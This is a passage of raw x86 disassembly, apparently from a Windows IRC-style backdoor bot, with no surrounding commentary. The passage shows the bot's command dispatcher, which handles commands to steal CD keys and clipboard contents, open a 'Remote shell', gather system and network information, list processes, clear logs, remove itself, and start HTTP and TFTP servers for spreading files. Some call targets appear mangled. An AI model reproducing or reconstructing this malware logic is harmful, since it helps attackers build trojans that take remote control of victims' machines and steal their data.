push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404AC2: ; CODE XREF: sub_4021E5+279Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAliases ; "aliases" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404AFC mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAl ; "al" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404B26 loc_404AFC: ; CODE XREF: sub_4021E5+28F8j push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_41733C add esp, 0Ch push offset dword_442788 call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404B26: ; CODE XREF: sub_4021E5+2915j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4427A0 call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404B64 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4427A4 call sub_422740 pop ecx pop ecx test eax, eax jnz loc_404CA6 loc_404B64: ; CODE XREF: sub_4021E5+295Cj and [ebp+var_EC8], 0 cmp [ebp+var_2D4], 0 jz short loc_404BCC mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_404BCC mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_F50], eax cmp [ebp+var_F50], 0 jz short loc_404BCC push [ebp+var_F50] push offset dword_4427A8 push 80h lea eax, [ebp+var_EC8] push eax call sub_421B90 add esp, 10h loc_404BCC: ; CODE XREF: sub_4021E5+298Dj ; sub_4021E5+299Dj ... push [ebp+var_98] push 80h lea eax, [ebp+var_F48] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_F4C], eax mov eax, [ebp+var_85C] mov [ebp+var_E44], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax push offset dword_4427AC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx push 0 push 25h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_E48], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_F4C] push eax push offset sub_417646 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_E48] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_E48] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_404C8B loc_404C76: ; CODE XREF: sub_4021E5+2AA2j cmp [ebp+var_E3C], 0 jnz short loc_404C89 push 32h nop call near ptr 27A0000h jmp short loc_404C76 ; --------------------------------------------------------------------------- loc_404C89: ; CODE XREF: sub_4021E5+2A98j jmp short loc_404C9E ; --------------------------------------------------------------------------- loc_404C8B: ; CODE XREF: sub_4021E5+2A8Fj nop call near ptr 27A0A66h push eax push offset unk_4427C4 call sub_417472 pop ecx pop ecx loc_404C9E: ; CODE XREF: sub_4021E5:loc_404C89j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404CA6: ; CODE XREF: sub_4021E5+2979j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aClearlog ; "clearlog" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404CE0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aClg ; "clg" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404D02 loc_404CE0: ; CODE XREF: sub_4021E5+2ADCj push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_4175A2 add esp, 10h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404D02: ; CODE XREF: sub_4021E5+2AF9j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNetinfo ; "netinfo" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404D3C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNi ; "ni" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404D7E loc_404D3C: ; CODE XREF: sub_4021E5+2B38j push 0 push [ebp+var_85C] push [ebp+arg_4] push [ebp+arg_1C] lea eax, [ebp+var_858] push eax call sub_41E66D add esp, 0Ch push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h push offset dword_442818 call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404D7E: ; CODE XREF: sub_4021E5+2B55j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSysinfo ; "sysinfo" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404DB8 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSi ; "si" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404DF6 loc_404DB8: ; CODE XREF: sub_4021E5+2BB4j push 0 push [ebp+var_85C] push [ebp+arg_4] lea eax, [ebp+var_858] push eax call sub_41E318 pop ecx pop ecx push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h push offset dword_442840 call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404DF6: ; CODE XREF: sub_4021E5+2BD1j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRemove ; "remove" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404E30 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRm ; "rm" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404E70 loc_404E30: ; CODE XREF: sub_4021E5+2C2Cj cmp [ebp+var_4], 0 jnz short loc_404E54 push 0 push [ebp+var_85C] push offset dword_442868 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_404E54: ; CODE XREF: sub_4021E5+2C4Fj push [ebp+arg_4] call dword_4E1798 ; closesocket call dword_4E1658 ; WSACleanup call sub_41A907 push 0 nop call near ptr 7C81CDDAh loc_404E70: ; CODE XREF: sub_4021E5+2C49j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aProcs ; "procs" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404EAE mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPs ; "ps" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_405010 loc_404EAE: ; CODE XREF: sub_4021E5+2CA6j push 27h call sub_40D6D9 pop ecx test eax, eax jle short loc_404EE3 cmp [ebp+var_4], 0 jnz short loc_404EDE push 0 push [ebp+var_85C] push offset unk_442890 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_404EDE: ; CODE XREF: sub_4021E5+2CD9j jmp loc_405008 ; --------------------------------------------------------------------------- loc_404EE3: ; CODE XREF: sub_4021E5+2CD3j push [ebp+var_98] push 80h lea eax, [ebp+var_FE4] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_FE8], eax mov eax, [ebp+var_85C] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_F58], eax and [ebp+var_F60], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_404F59 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aFull ; "full" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404F59 mov [ebp+var_F60], 1 loc_404F59: ; CODE XREF: sub_4021E5+2D4Bj ; sub_4021E5+2D68j push offset dword_4428B8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx push 0 push 27h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_F64], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_FE8] push eax push offset sub_41D094 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_F64] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_F64] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_404FE0 loc_404FCB: ; CODE XREF: sub_4021E5+2DF7j cmp [ebp+var_F54], 0 jnz short loc_404FDE push 32h nop call near ptr 27A0000h jmp short loc_404FCB ; --------------------------------------------------------------------------- loc_404FDE: ; CODE XREF: sub_4021E5+2DEDj jmp short loc_404FFB ; --------------------------------------------------------------------------- loc_404FE0: ; CODE XREF: sub_4021E5+2DE4j nop call near ptr 27A0A66h push eax push offset unk_4428D4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_404FFB: ; CODE XREF: sub_4021E5:loc_404FDEj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_405008: ; CODE XREF: sub_4021E5:loc_404EDEj push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_4021E5+2CC3j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aGetcdkeys ; "getcdkeys" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40504A mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKey ; "key" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4050AF loc_40504A: ; CODE XREF: sub_4021E5+2E46j push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_4181FB add esp, 0Ch push offset dword_442920 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40509A push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40509A: ; CODE XREF: sub_4021E5+2E93j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4050AF: ; CODE XREF: sub_4021E5+2E63j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUptime ; "uptime" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4050ED mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUp ; "up" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4051A4 loc_4050ED: ; CODE XREF: sub_4021E5+2EE5j or [ebp+var_FEC], 0FFFFFFFFh call near ptr 27B0DBCh nop xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_FF0], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_405132 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_FEC], eax loc_405132: ; CODE XREF: sub_4021E5+2F32j mov eax, [ebp+var_FF0] xor edx, edx mov ecx, 15180h div ecx cmp eax, [ebp+var_FEC] jnb short loc_405152 cmp [ebp+var_FEC], 0FFFFFFFFh jnz short loc_40519C loc_405152: ; CODE XREF: sub_4021E5+2F62j push 0 call sub_41E075 pop ecx push eax push offset dword_44294C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40519C: ; CODE XREF: sub_4021E5+2F6Bj mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4051A4: ; CODE XREF: sub_4021E5+2F02j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDriveinfo ; "driveinfo" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4051DE mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDrv ; "drv" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40520A loc_4051DE: ; CODE XREF: sub_4021E5+2FDAj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_419A83 add esp, 10h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40520A: ; CODE XREF: sub_4021E5+2FF7j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTestdlls ; "testdlls" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_405244 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDll ; "dll" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_405266 loc_405244: ; CODE XREF: sub_4021E5+3040j push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40C219 add esp, 10h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405266: ; CODE XREF: sub_4021E5+305Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aOpencmd ; "opencmd" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4052A4 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aOcmd ; "ocmd" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_405370 loc_4052A4: ; CODE XREF: sub_4021E5+309Cj push 0Ah call sub_40D6D9 pop ecx test eax, eax jle short loc_4052F8 push offset unk_442994 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_4052E9 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4052E9: ; CODE XREF: sub_4021E5+30E2j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx jmp short loc_405368 ; --------------------------------------------------------------------------- loc_4052F8: ; CODE XREF: sub_4021E5+30C9j push [ebp+var_98] push [ebp+arg_4] call sub_41D4E3 pop ecx pop ecx cmp eax, 0FFFFFFFFh jnz short loc_405322 push offset unk_4429C0 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_405335 ; --------------------------------------------------------------------------- loc_405322: ; CODE XREF: sub_4021E5+3126j push offset unk_4429E8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_405335: ; CODE XREF: sub_4021E5+313Bj cmp [ebp+var_4], 0 jnz short loc_40535B push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40535B: ; CODE XREF: sub_4021E5+3154j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_405368: ; CODE XREF: sub_4021E5+3111j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405370: ; CODE XREF: sub_4021E5+30B9j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCmdstop ; "cmdstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4053C8 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_442A20 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4053C8: ; CODE XREF: sub_4021E5+31A6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_442A2C call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4054B7 cmp [ebp+var_4], 0 jnz short loc_40540D push 0 push [ebp+var_85C] push offset dword_442A30 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40540D: ; CODE XREF: sub_4021E5+3208j and [ebp+var_5D8], 0 jmp short loc_405423 ; --------------------------------------------------------------------------- loc_405416: ; CODE XREF: sub_4021E5+32BDj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_405423: ; CODE XREF: sub_4021E5+322Fj cmp [ebp+var_5D8], 3 jge short loc_4054A7 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_405458 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] mov [ebp+var_412C], eax jmp short loc_405462 ; --------------------------------------------------------------------------- loc_405458: ; CODE XREF: sub_4021E5+3259j mov [ebp+var_412C], offset dword_442A44 loc_405462: ; CODE XREF: sub_4021E5+3271j push [ebp+var_412C] push [ebp+var_5D8] push offset dword_442A4C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push 1 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp loc_405416 ; --------------------------------------------------------------------------- loc_4054A7: ; CODE XREF: sub_4021E5+3245j push offset unk_442A54 call sub_4173DC pop ecx jmp loc_4061D7 ; --------------------------------------------------------------------------- loc_4054B7: ; CODE XREF: sub_4021E5+31FEj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aGetclip ; "getclip" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4054F1 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aGc ; "gc" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_405547 loc_4054F1: ; CODE XREF: sub_4021E5+32EDj cmp [ebp+var_4], 0 jnz short loc_405515 push 0 push [ebp+var_85C] push offset dword_442A84 push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_405515: ; CODE XREF: sub_4021E5+3310j push 0 push [ebp+var_85C] call sub_41A677 push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h push offset dword_442A9C call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405547: ; CODE XREF: sub_4021E5+330Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFlusharp ; "flusharp" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_405581 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFarp ; "farp" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4055F9 loc_405581: ; CODE XREF: sub_4021E5+337Dj call sub_40C6CF test eax, eax jz short loc_4055A5 push offset unk_442ACC push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch jmp short loc_4055BE ; --------------------------------------------------------------------------- loc_4055A5: ; CODE XREF: sub_4021E5+33A3j push offset unk_442AF0 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch loc_4055BE: ; CODE XREF: sub_4021E5+33BEj cmp [ebp+var_4], 0 jnz short loc_4055E4 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4055E4: ; CODE XREF: sub_4021E5+33DDj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4055F9: ; CODE XREF: sub_4021E5+339Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFlushdns ; "flushdns" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_405637 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFdns ; "fdns" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4056D4 loc_405637: ; CODE XREF: sub_4021E5+342Fj cmp dword_4E161C, 0 jz short loc_405680 call dword_4E161C ; DnsFlushResolverCache test eax, eax jz short loc_405665 push offset unk_442B30 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch jmp short loc_40567E ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4021E5+3463j push offset unk_442B54 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch loc_40567E: ; CODE XREF: sub_4021E5+347Ej jmp short loc_405699 ; --------------------------------------------------------------------------- loc_405680: ; CODE XREF: sub_4021E5+3459j push offset unk_442B80 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch loc_405699: ; CODE XREF: sub_4021E5:loc_40567Ej cmp [ebp+var_4], 0 jnz short loc_4056BF push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4056BF: ; CODE XREF: sub_4021E5+34B8j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4056D4: ; CODE XREF: sub_4021E5+344Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCurrentip ; "currentip" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40570E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCip ; "cip" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_405775 loc_40570E: ; CODE XREF: sub_4021E5+350Aj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_405739 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_FF4], eax jmp short loc_405747 ; --------------------------------------------------------------------------- loc_405739: ; CODE XREF: sub_4021E5+3537j push 0Bh call sub_40D71A pop ecx mov [ebp+var_FF4], eax loc_405747: ; CODE XREF: sub_4021E5+3552j cmp [ebp+var_FF4], 0 jz short loc_40576D push [ebp+var_FF4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40E192 add esp, 10h loc_40576D: ; CODE XREF: sub_4021E5+3569j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405775: ; CODE XREF: sub_4021E5+3527j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aHttpserver ; "httpserver" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4057B3 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aHttp ; "http" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4059EE loc_4057B3: ; CODE XREF: sub_4021E5+35ABj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_40580E mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jnz short loc_4057E7 mov eax, dword_44107C mov [ebp+var_4130], eax jmp short loc_405800 ; --------------------------------------------------------------------------- loc_4057E7: ; CODE XREF: sub_4021E5+35F3j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_4130], eax loc_405800: ; CODE XREF: sub_4021E5+3600j mov eax, [ebp+var_4130] mov [ebp+var_4134], eax jmp short loc_405819 ; --------------------------------------------------------------------------- loc_40580E: ; CODE XREF: sub_4021E5+35DCj mov eax, dword_44107C mov [ebp+var_4134], eax loc_405819: ; CODE XREF: sub_4021E5+3627j mov eax, [ebp+var_4134] mov [ebp+var_1014], eax movzx eax, [ebp+var_370] neg eax sbb eax, eax inc eax mov [ebp+var_1000], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_405864 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] lea eax, [ebp+var_1118] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_405892 ; --------------------------------------------------------------------------- loc_405864: ; CODE XREF: sub_4021E5+3660j push 104h lea eax, [ebp+var_14A8] push eax nop call near ptr 2790B56h push 0 push 0 push 0 lea eax, [ebp+var_14B4] push eax lea eax, [ebp+var_14A8] push eax call sub_421C90 add esp, 14h loc_405892: ; CODE XREF: sub_4021E5+367Dj lea eax, [ebp+var_1118] push eax call sub_41EBD0 pop ecx movsx eax, [ebp+eax+var_1119] cmp eax, 5Ch jnz short loc_4058C1 lea eax, [ebp+var_1118] push eax call sub_41EBD0 pop ecx and [ebp+eax+var_1119], 0 loc_4058C1: ; CODE XREF: sub_4021E5+36C5j mov eax, [ebp+arg_4] mov [ebp+var_13A4], eax push [ebp+var_98] push 80h lea eax, [ebp+var_13A0] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_1008], eax mov eax, [ebp+var_4] mov [ebp+var_1004], eax lea eax, [ebp+var_1118] push eax push [ebp+var_1014] push [ebp+arg_4] call sub_40C86E pop ecx push eax push offset unk_442BD0 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 14h push 0 push 3 lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_100C], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_13A4] push eax push offset sub_4144BD push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_100C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_100C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_405998 loc_405983: ; CODE XREF: sub_4021E5+37AFj cmp [ebp+var_FF8], 0 jnz short loc_405996 push 32h nop call near ptr 27A0000h jmp short loc_405983 ; --------------------------------------------------------------------------- loc_405996: ; CODE XREF: sub_4021E5+37A5j jmp short loc_4059B3 ; --------------------------------------------------------------------------- loc_405998: ; CODE XREF: sub_4021E5+379Cj nop call near ptr 27A0A66h push eax push offset unk_442C0C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_4059B3: ; CODE XREF: sub_4021E5:loc_405996j cmp [ebp+var_4], 0 jnz short loc_4059D9 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4059D9: ; CODE XREF: sub_4021E5+37D2j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4059EE: ; CODE XREF: sub_4021E5+35C8j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTftpserver ; "tftpserver" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_405A2C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTftp ; "tftp" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_405C1E loc_405A2C: ; CODE XREF: sub_4021E5+3824j push 5 call sub_40D6D9 pop ecx test eax, eax jle short loc_405A50 push offset unk_442C5C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp loc_405BE3 ; --------------------------------------------------------------------------- loc_405A50: ; CODE XREF: sub_4021E5+3851j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_405A89 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 104h lea eax, [ebp+var_1754] push eax call sub_421B90 add esp, 0Ch mov [ebp+var_4138], eax jmp short loc_405AA3 ; --------------------------------------------------------------------------- loc_405A89: ; CODE XREF: sub_4021E5+3879j push 104h lea eax, [ebp+var_1754] push eax push 0 nop call near ptr 2790000h mov [ebp+var_4138], eax loc_405AA3: ; CODE XREF: sub_4021E5+38A2j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_405AC8 mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_98] mov [ebp+var_413C], eax jmp short loc_405AD2 ; --------------------------------------------------------------------------- loc_405AC8: ; CODE XREF: sub_4021E5+38CCj mov [ebp+var_413C], offset byte_4410E8 loc_405AD2: ; CODE XREF: sub_4021E5+38E1j push [ebp+var_413C] push 104h lea eax, [ebp+var_1650] push eax call sub_421B90 add esp, 0Ch mov eax, dword_441078 mov [ebp+var_1544], eax and [ebp+var_1548], 0 mov eax, [ebp+arg_4] mov [ebp+var_1758], eax push 7Fh push [ebp+var_98] lea eax, [ebp+var_1540] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_14C0], eax mov eax, [ebp+var_4] mov [ebp+var_14BC], eax lea eax, [ebp+var_1754] push eax push [ebp+var_1544] push offset unk_442C7C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push 0 push 5 lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_154C], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_1758] push eax push offset dword_416BD4 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_154C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_154C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_405BC8 loc_405BB3: ; CODE XREF: sub_4021E5+39DFj cmp [ebp+var_14B8], 0 jnz short loc_405BC6 push 32h call near ptr 27A0000h nop jmp short loc_405BB3 ; --------------------------------------------------------------------------- loc_405BC6: ; CODE XREF: sub_4021E5+39D5j jmp short loc_405BE3 ; --------------------------------------------------------------------------- loc_405BC8: ; CODE XREF: sub_4021E5+39CCj nop call near ptr 27A0A66h push eax push offset unk_442CB0 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_405BE3: ; CODE XREF: sub_4021E5+3866j ; sub_4021E5:loc_405BC6j cmp [ebp+var_4], 0 jnz short loc_405C09 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_405C09: ; CODE XREF: sub_4021E5+3A02j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405C1E: ; CODE XREF: sub_4021E5+3841j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCrash ; "crash" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_405CA2 push offset dword_442CF4 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_405C74 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h 